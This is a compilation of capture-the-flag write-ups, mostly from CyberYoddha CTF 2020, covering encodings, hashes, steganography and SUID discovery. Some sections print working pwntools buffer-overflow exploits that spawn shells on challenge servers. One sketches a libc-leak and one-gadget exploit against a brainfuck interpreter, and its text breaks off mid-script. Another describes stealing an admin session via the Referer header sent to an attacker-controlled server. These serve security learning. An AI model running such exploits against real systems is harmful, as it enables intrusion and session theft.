Executing the `ls` command in the current directory showed two files:
```$ lsfile.txt file2.txt```
The problem description gives a clue that we need to find differences betweenthe files.
In [stackoverflow](https://stackoverflow.com/questions/18204904/fast-way-of-finding-lines-in-one-file-that-are-not-in-another)I found a solution to find lines in one file that are not in the other:
```$ grep -F -x -v -f file.txt file2.txtCYCTF{SPTTHFF}(...)```
The string looked promising, but submitting it showed it was not the entireflag. So I tried to `grep` for all lines with exactly one character in `file.txt`:
```$ grep "^.$" file2.txt1CYCTF{SPOT_TH3_D1FF}(...)```
Thus, the flag for shebang3 is: `CYCTF{SPOT_TH3_D1FF}`.
## shebang4 Author: stephencurry396 Points: 200
### Problem descriptionSince you have been doing so well, I thought I would make this an easy one.
### SolutionConnected via ssh as user shebang4.
Listing current directory contents showed a file called `flag.png`:
```$ lsflag.png```
To make it easier to view the file, I disconnected from ssh and transferredthe file to my own computer using `scp`:```$ scp -P1337 [email protected]:/home/shebang4/flag.png .[email protected]'s password:flag.png100% 12KB 62.4KB/s 00:00```
Viewing the `flag.png` image showed the flag:

So the flag for shebang4 is: `CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}`.
## shebang5 Author: stephencurry396 Points: 250
### Problem descriptionthere is a very bad file on this Server. can yoU fInD it.
### Concepts* [setuid](https://en.wikipedia.org/wiki/Setuid)
### SolutionConnected via ssh as user shebang5.
Listing current directory contents showed only the empty file .hushlogin.
```$ ls -altotal 12dr-x------ 1 shebang5 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..-rw-r--r-- 1 root root 0 Oct 31 01:01 .hushlogin```
Actually, the capitalization in the problem description (UID) suggests thatmaybe we need to look for a file with the `SUID` permission set.
As stated in the wikipedia entry on [setuid](https://en.wikipedia.org/wiki/Setuid):
> The Unix access rights flags setuid and setgid (short for "set user ID" and"set group ID") allow users to run an executable with the file system permissionsof the executable's owner or group respectively and to change behaviour in directories.They are often used to allow users on a computer system to run programs withtemporarily elevated privileges in order to perform a specific task.
Used the `find` command to look for a file with such permissions:```$ find / -perm /u=s,g=s 2>/dev/null/var/mail/var/local/var/cat/usr/sbin/unix_chkpwd/usr/sbin/pam_extrausers_chkpwd/usr/bin/gpasswd/usr/bin/umount/usr/bin/wall/usr/bin/chage/usr/bin/chsh(...)```
The `/var/cat` file stood out, as `cat` is usually located in the `/usr/bin`directory, without the `SUID` permission set.
Executing the file to check that it behaves as the regular `cat` program:```$ /var/cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin(...)```
Examining the file attributes with `ls`, we can see that the owner of `/var/cat`is `shebang6`:```$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
Now we can use the `find` command to look for files owned by `shebang6`:```$ find / -user shebang6 2>/dev/null/var/cat/etc/passwords/shebang6```
The file `/etc/passwords/shebang6` looked promising, so tried to output itscontent with `/var/cat`:
```$ /var/cat /etc/passwords/shebang6CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
Thus, the flag for shebang5 is `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`. |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Disallow.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Disallow.md) -----# Disallow
 
## Details
\\I navigated to the URL provided and had a look around "https://crawlies.cyberyoddha.team"\\\\Reading the page and looking at what the challenge is called "Disallow" i started by navigating to robots.txt\\\\Sure enough i found something in robots.txt I then navigated to the Disallowed location to see what was there.\\\\Looks like we have the flag: ***CYCTF{d33r0b0t$_r_sUp3r10r}*** |
## Corrupt \[10 pts.\]>Sometimes files can be disguised with a different file format! Find the password within this file.>>No flag formatting required._files: filetype.txt_
As the task description suggests, let's try```$ file filetype.txtfiletype.txt: PNG image data, 848 x 242, 8-bit/color RGBA, non-interlaced```
Open the .txt file with any image viewer (i used `feh`):

And, the flag is `REDACTED` |
When inspecting the source code of the page implementing the uploaded file, it can be seen, that it is included via an HTML Object Tag along with a GET Parameter of the sesson ID of the User who views the file.As there is a `Content-Security-Policy: script-src 'none'` header set, it is virtually impossible to steal the session by executing JavaScript.
A simple IMG tag did the job as the `HTTP_REFERER` header contained the session ID of the admin.It is necessary to send the header to our own server and retrieve the session ID:
exploit.html:
``````
takedata.php:```
```takedata.php simply writes the `$_SERVER` array to a file. The session ID can be retrieved from there.After the own session is replaced with the admin session, the flag can be seen in the file `flag.txt` as linked to in the main page. |
The trick consists in noticing it's an XOR with the 4 next characters, and you know the first 4 characters of the flag are CSR{See complete write-up: https://cryptax.github.io/2020/10/31/hashfun.html |
# Overflow 1 (125 points)
## Description
ez overflow.
nc cyberyoddha.baycyber.net 10001
## Solution
Here is the file we were given.
```cint main(void) { char str[] = "AAAA"; char buf[16];
gets(buf); if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){ system("/bin/sh"); }}```
Buffer is defined as 16, so let's write small python script using pwntools.
```pythonfrom pwn import *
payload = "A"*16
s = remote("cyberyoddha.baycyber.net", 10001)s.sendline(payload)s.interactive()``````shell$ python overflow1.py[+] Opening connection to cyberyoddha.baycyber.net on port 10001: Done[*] Switching to interactive mode$ lsflag.txtoverflow1$ cat flag.txtCYCTF{st@ck_0v3rfl0ws_@r3_3z}```
This task can be done easier: just enter 16 A using nc and get the flag
Flag: CYCTF{st@ck_0v3rfl0ws_@r3_3z} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Beware%20the%20Ides%20of%20March.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Beware%20the%20Ides%20of%20March.md) -----
# Beware the Ides of March
 
## Details

Looking at the cipher string `JFJAM{j@3$@y_j!wo3y}` we can see that the format is familiar, the flags generally start with CYCTF so this looks like a simple Ceser Cipher.
We can eneter the string into CyberChef and use a ROT13 recipe, varying the shift value until we find the correct flag string;
[https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,19)&input=SkZKQU17akAzJEB5X2ohd28zeX0](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,19)&input=SkZKQU17akAzJEB5X2ohd28zeX0)

And there we have our flag;
## CYCTF{c@3$@r_c!ph3r} |
# Overflow 3 (250 points)
## Description
looks like buffer overflows aren’t so easy anymore.
nc cyberyoddha.baycyber.net 10003## Solution
Here is the file we were given.
```cint main(void) { long vuln = 0; char buf[16];
gets(buf);
if (vuln == 0xd3adb33f){ system("/bin/sh"); }}```
Address is **0xd3adb33f** and buffer size is 16. Now let's open python and write another script:
```pythonfrom pwn import *
payload = "A"*28payload += p32(0xd3adb33f)s = remote("cyberyoddha.baycyber.net", 10003)s.sendline(payload)s.interactive()``` ```shell$ python overflow3.py[+] Opening connection to cyberyoddha.baycyber.net on port 10003: Done[*] Switching to interactive mode$ lsflag.txtoverflow3$ cat flag.txtCYCTF{wh0@_y0u_jump3d_t0_th3_funct!0n}```
Flag: CYCTF{wh0@_y0u_jump3d_t0_th3_funct!0n} |
# YayRev
## Task
Let’s brush up sum pythan skillz… (no flag wrapper)
File: yayrev.py
## Solution
This one is a bit harder to understand:
```pythonproficuous =flagsaxicolous = [ord(excogitate) for excogitate in proficuous]ebullient = (saxicolous[-5:]); import randomsecond = (saxicolous[:-5])sesquipedalian = ''.join(map(chr,ebullient)) + ''.join(map(chr,second))
vravar = ''.join([chr(permutation.islower() and ((ord(permutation) - 84) % 26) + 97 or permutation.isupper() and ((ord(permutation) - 52) % 26) + 65 or ord(permutation)) for permutation in sesquipedalian])
auspicious = []for luminescent in vravar: auspicious.append(luminescent)
for cupidity in range(200): second = [] superabundant=random.choice(auspicious) print( "mac>>>[" + str(auspicious.index(superabundant)) + "] " + "== " + "\"" + superabundant + "\"" + " and")```
1. The last 5 chars are moved to the start
2. Something happens
3. The joined chars are moved into a list
4. 200 Random values are chosen from that list and we get their index and value
The 200 outputs are given so lets clean that up with a regex and do a `sort -u`. We now have only 18 values.
We need to reverse step 2 now.
```pythonfor c in [ chr(c.islower() and ((ord(c) - 84) % 26) + 97 or c.isupper() and ((ord(c) - 52) % 26) + 65 or ord(c)) for c in flagSwapped]: out.append(c)```
At first I didn't realize this, but it's just ROT13. If it's not upper or lowercase we just take the char.
```python>>> chr((ord("Z") - 52) % 26 + 65)'M'>>> chr((ord("A") - 52) % 26 + 65)'N'```
All we have to do now:
```pythonimport codecs...print(codecs.encode(''.join(crypt[5:]) + ''.join(crypt[:5])), 'rot_13')```
`Wh0a_l3gEnD-PytHON` |
# Something Sw33t
## Task
My sweet friend tried telling me about something on this page, but I can’t seem to find anything… Can you help me: https://cyberyoddha.baycyber.net:33001
## Solution
The title of the page is Flask application. There is nothing interesting in the source, let's look at the network traffic through the developer consoles network tab.
We see a random cookie `don't look here` with a base64 looking value. It's random stuff so I suspect it's a flask specific cookie. There is a tool to decode them: https://pypi.org/project/flask-cookie-decode/
Using the `examples/app.py`:
```bash$ FLASK_APP=app.py ./flask cookie decode "$BASE64"UntrustedCookie(contents={'Astley-Family-Members': 6, 'family': {'Cynthia Astley': [{'description': {' b': 'nice'}, 'flag':{' b': 'bm90X2V4aXN0YW50'}, 'name': {' b': 'Cynthia Astley'}}, {'description': {' b': 'nicee='}, 'flag': {' b': 'YmFzZTY0X2lzX3N1cHJlbWU='}, 'name': {' b': 'Horace Astley'}}, {'description': {' b': 'human'}, 'flag': {' b': 'flag=flag'}, 'name': {'b': ''}}, {'description': {' b': 'the man'}, 'flag': {' b': 'Q1lDVEZ7MGtfMV9zZWVfeW91X21heWJlX3lvdV9hcmVfc21hcnR9'}, 'name': {' b': 'Rick Astley'}}, {'description': {' b': 'yeedeedeedeeeeee'}, 'flag': {' b': 'dHJ5X2FnYWlu'}, 'name': {' b': 'Lene Bausager'}}, {'description': {' b': 'uhmm'}, 'flag': {' b': 'bjBwZWVlZQ=='}, 'name': {' b': 'Jayne Marsh'}}, {'description': {' b': 'hihi'}, 'flag': {' b': 'bjBfYjB0c19oM3Iz'}, 'name': {' b': 'Emilie Astley'}}]}}, expiration='2020-11-16T23:40:39')```
Now we need to parse the json and base64 decode all the values.
```bash$ FLASK_APP=app.py ./flask cookie decode "$BASE64" | sed 's|.*contents=\(.*\),expiration.*|\1|g' | tr "'" '"' | jq '.family."Cynthia Astley" | map(select(.flag." b" != "flag=flag") | .flag." b" | @base64d)'[ "not_existant", "base64_is_supreme", "CYCTF{0k_1_see_you_maybe_you_are_smart}", "try_again", "n0peeee", "n0_b0ts_h3r3"]``` |
# Overflow 2 (225 points)
## Description
ez overflow (or is it?)
nc cyberyoddha.baycyber.net 10002
## Solution
Here is the file we were given.
```cvoid run_shell(){ system("/bin/sh");}
void vuln(){ char buf[16]; gets(buf);}
int main(void) { vuln(); }```
So we need to jump over to **run_shell** function using buffer overflow.[Writeup for a similar task](https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/)
Let's find address of **run_shell** function using **objdump**
```shell$ objdump -d overflow2...08049172 <run_shell>: 8049172: 55 push %ebp 8049173: 89 e5 mov %esp,%ebp 8049175: 53 push %ebx 8049176: 83 ec 04 sub $0x4,%esp 8049179: e8 63 00 00 00 call 80491e1 <__x86.get_pc_thunk.ax> 804917e: 05 82 2e 00 00 add $0x2e82,%eax 8049183: 83 ec 0c sub $0xc,%esp...```
Address is **0x8049172** and buffer size is 28. Now let's open python and write another script:
```pythonfrom pwn import *
payload = "A"*28payload += p32(0x8049172)s = remote("cyberyoddha.baycyber.net", 10002)s.sendline(payload)s.interactive()``````shell$ python overflow2.py[+] Opening connection to cyberyoddha.baycyber.net on port 10002: Done[*] Switching to interactive mode$ lsflag.txtoverflow2$ cat flag.txtCYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z}```
Flag: CYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z} |
# Ladder
## Task
You must attack all enemy BASEs, start low and move your way up.
File: enc.txt (in Ladder.zip)
Tags: cryptography
## Solution
The file contains base32. We can assume it's not just b64decode(b32decode(content)). Thankfully there is a tool called `basecrack`: https://github.com/mufeedvh/basecrack
```bash$ cat enc.txt | python basecrack.py -m[>] Enter Encoded Base:[-] Iteration: 1
[-] Heuristic Found Encoding To Be: Base32
[-] Decoding as Base32: 3ujJnYq1YPYVouAmFC24c36quqhmGkcm5LL5mZGvs6w4mewG9Cg3jLhWJgcdMyT1EM1ZYp2cCabt6syu9oAnjLeoDkiJKgS7
[-] Iteration: 2
[-] Heuristic Found Encoding To Be: Base58
[-] Decoding as Base58: B3ubcEe7waVuE55z96FTrO8JvfuevhFXEhXqzkWINOiIaRd4OlGLhL5jgqUXaQRwNC0CXl
[-] Total Iterations: 2
[-] Encoding Pattern: Base32 -> Base58
[-] Magic Decode Finished With Result: B3ubcEe7waVuE55z96FTrO8JvfuevhFXEhXqzkWINOiIaRd4OlGLhL5jgqUXaQRwNC0CXl
[-] Finished in 0.0018 seconds```
Hm, maybe I was wrong? Let's try it with CyberChef.
Just use all `From Base` tools available under the section `Data format`.
That works and we get the flag: `RaziCTF{w3_G0t_4ll_tHe_Ba$3s}`
But why did basecrack fail? GitHub page states: `Decode Base16, Base32, Base36, Base58, Base62, Base64, Base64Url, Base85, Base91, Base92`
Turns out there is an issue with base62: https://github.com/mufeedvh/basecrack/issues/4
I fixed that locally, still no luck.
`Encoding Pattern: Base32 -> Base58 -> Base62 -> Base64 -> Base92`
We are missing Base85 here. Debugging the script I found this:
`bad base85 character at position 36` - this is a `/`
As it turns out there is Base85 and Ascii85 and Ascii85 is not supported. After adding this (it's contained in the python base64 module) it works.
```[-] Encoding Pattern: Base32 -> Base58 -> Base62 -> Base64 -> Ascii85
[-] Magic Decode Finished With Result: RaziCTF{w3_G0t_4ll_tHe_Ba$3s}``` |
# secure (i think?)
## Task
smh I can’t even crack this password: b0439fae31f8cbba6294af86234d5a28 Note: Don’t use a flag wrapper for this challenge
## Solution
Use a hash identifier to find it's md5, use a database or just google it and you find `securepassword` |
## Introspective Investigation \[60 pts.\]>A mysterious hooded figure handed you a tape he said contained some kind of password, however when the audio doesn't seem to be any language that exists. Perhaps there's more to it than meets the ear.>>No flag formatting required._files: Spectrogram.wav_
easy
 |
Hi, the goal of this challenge it to exploit a brainfuck interpreter remotely. the binary of the interpreter is provided.
the program allocate some buffers on stack:
3 dwords, for the ptr var, jump addr, and pc followed by 30000 bytes of memory followed by 1004 bytes of program memory followed by the canary (8 bytes) followed by libcsu_init address in program (8 bytes) followed by _libc_start_main return address in libc (8 bytes)
the brainfuck interpreter moves the ptr register from beginning of the 30000bytes buffer, with no limit checking.. * "," --> we can do ptr = getchar(), to read a char from stdin to actual pointer,* "." --> or putchar(ptr) , dump char stored at actual pointer * ">" & "<" --> increment and decrement pointer * "+" & "-" --> increment and decrement pointer content * "[" & "]" --> and do some loops..
so the exploitation goes like this, we send enough chars, to reach canary address with ptr, then we dump canary, _libcsu_init addr, and _libc_start_main return address.. this is our leaks..
we identify first libc version with the libc leak address, we identify libc6_2.28-10_amd64.so as the libc used.
then we calculate libc_base with our libc leak, then we calculate onegadget address with it. and we just rewrite the _libc_start_main return address with the onegadget address..
then, when the program returns from main...we got Shell..
```#! /usr/bin/env python# -*- coding: utf-8 -*-#from pwn import *context(arch = 'amd64', os = 'linux')context.log_level = 'info'
#binary namechallenge_exe = './bflol'
#settingcon_host = 'chal.cybersecurityrumble.de'con_port = 19783
p = connect(con_host, con_port)
command = ',[>,]>.[>.]>>.[>.]>><<<<<<<<,>,>,>,>,>,>'
p.sendline(command)
payload = ']'*30000payload += commandpayload += (1004-len(command))*']' + '\x00'
p.send(payload)
buff = p.recv(1)buff += p.recv()
# we dump the canary (even if we don't need it)canary = u64('\x00'+buff[0:7])info("canary = "+hex(canary))# we dump a program address (even if we don't need it)leak1 = u64(buff[8:14]+'\x00\x00')info("leak prog = "+hex(leak1))# we dump a libc_start_main return address (this one we need it)libc_leak = u64(buff[14:20]+'\x00\x00')info("leak libc = "+hex(libc_leak))
# libc_start_main return address offset for libc_baseretoffset = 0x02409b# we calculate libc_base with our libc leaklibc_base = libc_leak - retoffsetinfo("base libc = "+hex(libc_base))
# the one gadget we will useonegadget = libc_base + 0x4484f
info("onegadget = "+hex(onegadget))info("sending one gadget (good luck)")
payload2 = struct.pack(' |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang1.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang1.md) -----
# Shebang1
 
We connect to the shell again using this command `ssh -p 1337 [email protected]` and the flag from the Shebang0 challenge as the password.
Once connected we run and ls to see what's in our working dircetory;
```$ ls -altotal 300dr-x------ 1 shebang1 root 4096 Oct 30 20:47 .drwxr-xr-x 1 root root 4096 Oct 30 20:47 ..-rw-r--r-- 1 root root 298902 Oct 6 22:43 flag.txt```
As you can see the flag is right there, and although the file is owend by root we have read access to it.
But you may also notice the file size... it's pretty large for a flag string!?!
If you just try to cat the file to the screen it will spit out endless lines of text to the console.
Instead we need to grep the output to get the flag.
We know the flags start with CYCTF so we can try the following;
```$ cat flag.txt | grep CYCTFCYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}```
And there's our flag;
## CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p} |
# Home Base
## Task
4a5a57474934325a47464b54475632464f4259474336534a4f564647595653574a354345533454434b52585336564a524f425556435533554e4251574f504a35
## Solution
The given string looks like hex encoded chars. Let's try that:
```python>>> import binascii>>> binascii.unhexlify(s)b'JZWGI42ZGFKTGV2FOBYGC6SJOVFGYVSWJ5CES4TCKRXS6VJROBUVCU3UNBQWOPJ5'```
Looks like Base32. Let's fire up `basecrack`:
```bash$ python basecrack.py -m
python basecrack.py -h [FOR HELP]
[>] Enter Encoded Base: JZWGI42ZGFKTGV2FOBYGC6SJOVFGYVSWJ5CES4TCKRXS6VJROBUVCU3UNBQWOPJ5
[-] Iteration: 1
[-] Heuristic Found Encoding To Be: Base32
[-] Decoding as Base32: NldsY1U3WEppazIuJlVVODIrbTo/U1piQSthag==
[-] Iteration: 2
[-] Heuristic Found Encoding To Be: Base64
[-] Decoding as Base64: 6WlcU7XJik2.&UU82+m:?SZbA+aj
[-] Iteration: 3
[-] Heuristic Found Encoding To Be: Ascii85
[-] Decoding as Ascii85: CYCTF{it5_@_H0m3_2un!}
[-] Iteration: 4
[-] Heuristic Found Encoding To Be: Base92
[-] Decoding as Base92: _ûZI3+_ÿ\@
[-] Total Iterations: 4
[-] Encoding Pattern: Base32 -> Base64 -> Ascii85 -> Base92
[-] Magic Decode Finished With Result: _ûZI3+_ÿ\@
[-] Finished in 0.0103 seconds```
Let's ignore the last iteration. |
# Steg Ultimate (450 points)
## Description
You reached the final stage, can you unravel your way out of this one?
## Solution
Having tried all the standard steganography utilities, such as binwalk, strings, pngcheck, zsteg, I decided to try steghide without passphrase.
```shell$ steghide extract -sf stegultimate.jpgEnter passphrase:wrote extracted data to "steg3.jpg".```
Success! After another round of standard utilities, I came back to steghide.
```shell$ steghide extract -sf steg3.jpgEnter passphrase:wrote extracted data to "steganopayload473955.txt".```
```shell$ cat steganopayload473955.txthttps://pastebin.com/YnKqT9s3```
Huge string. Let's just paste it into [CyberChef](http://icyberchef.com/)The first thing I see is that it is a png format. The recipe we need is **Render Image** input format: Raw. It outputs image with the flag.
Flag: CYCTF{2_f0r_th3_pr1c3_0f_1_b64} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Supa%20Secure.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Supa%20Secure.md) -----
# Supa Secure
 
In the challenge details we are We're given a string `19d14c463333a41a1538dbf9eb76aadf`.
I run it through `hash-identifier` and it detects it as a possible MD5

Next i hop over to [https://www.md5online.org/](https://www.md5online.org/md5-decrypt.html) to see if it recognises the hash;

And it does!
## cyctf{ilovesalt} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang5.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang5.md) -----
# Shebang5
 
We connect to the shell using this command `ssh -p 1337 [email protected]` and the flag from the Shebang4 challenge as the password.
There is a clue for this chelleneg in the description which reads;
> "there is a very bad file on this Server. can yoU fInD it."
Notice the capitalisation of `U` `I` & `D` in the above clue;
That makes me think we're looking for a SUID binary.
```shebang5@fe2149a30ae1:~$ find / -path /sys -prune -o -path /proc -prune -o -perm /4000/var/tmp/hi/bashfind: '/var/cache/ldconfig': Permission deniedfind: '/var/cache/apt/archives/partial': Permission deniedfind: '/var/cache/private': Permission deniedfind: '/var/log/private': Permission deniedfind: '/var/lib/apt/lists/partial': Permission deniedfind: '/var/lib/private': Permission denied/var/catfind: '/etc/ssl/private': Permission deniedfind: '/run/lock': Permission deniedfind: '/run/sudo': Permission denied/procfind: '/home/shebang4': Permission deniedfind: '/home/shebang3': Permission deniedfind: '/home/shebang2': Permission deniedfind: '/home/shebang1': Permission deniedfind: '/home/shebang0': Permission denied/sys/usr/bin/gpasswd/usr/bin/passwd/usr/bin/umount/usr/bin/chsh/usr/bin/chfn/usr/bin/mount/usr/bin/su/usr/bin/newgrp/usr/bin/sudo/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helperfind: '/root': Permission denied```
`/var/cat` looks inteersting?.!
```shebang5@fe2149a30ae1:~$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
OK, so "**shebang6**" is the owner of this file... and it has the SUID bit set on it!
Now lets see if there are any files owened by 'shebang6';
```shebang5@fe2149a30ae1:~$ find / -path /sys -prune -o -path /proc -prune -o -user shebang6find: '/var/cache/ldconfig': Permission deniedfind: '/var/cache/apt/archives/partial': Permission deniedfind: '/var/cache/private': Permission deniedfind: '/var/log/private': Permission deniedfind: '/var/lib/apt/lists/partial': Permission deniedfind: '/var/lib/private': Permission denied/var/cat/etc/passwords/shebang6find: '/etc/ssl/private': Permission deniedfind: '/run/lock': Permission deniedfind: '/run/sudo': Permission denied/procfind: '/home/shebang4': Permission deniedfind: '/home/shebang3': Permission deniedfind: '/home/shebang2': Permission deniedfind: '/home/shebang1': Permission deniedfind: '/home/shebang0': Permission denied/sysfind: '/root': Permission denied```
We can see from the above output the file `/etc/passwords/shebang6`. That's got to be something?!
running the /var/cat binary against the file we get the following;
```shebang5@fe2149a30ae1:~$ /var/cat /etc/passwords/shebang6 CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
And there's the flag;
## `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}` |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang0.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang0.md) -----
# Shebang0
 
We connect to the shell given in the challenge description.
`ssh -p 1337 [email protected]`
```$ ls -altotal 12dr-x------ 1 shebang0 root 4096 Oct 30 20:47 .drwxr-xr-x 1 root root 4096 Oct 30 20:47 ..-rw-r--r-- 1 root root 33 Oct 6 00:26 .flag.txt```
Notice the file is hidden by preceedign with a `.`
To read the file we can use;
```$ cat ./.flag.txtCYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}```
So that's the flag for this challenge;
## CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.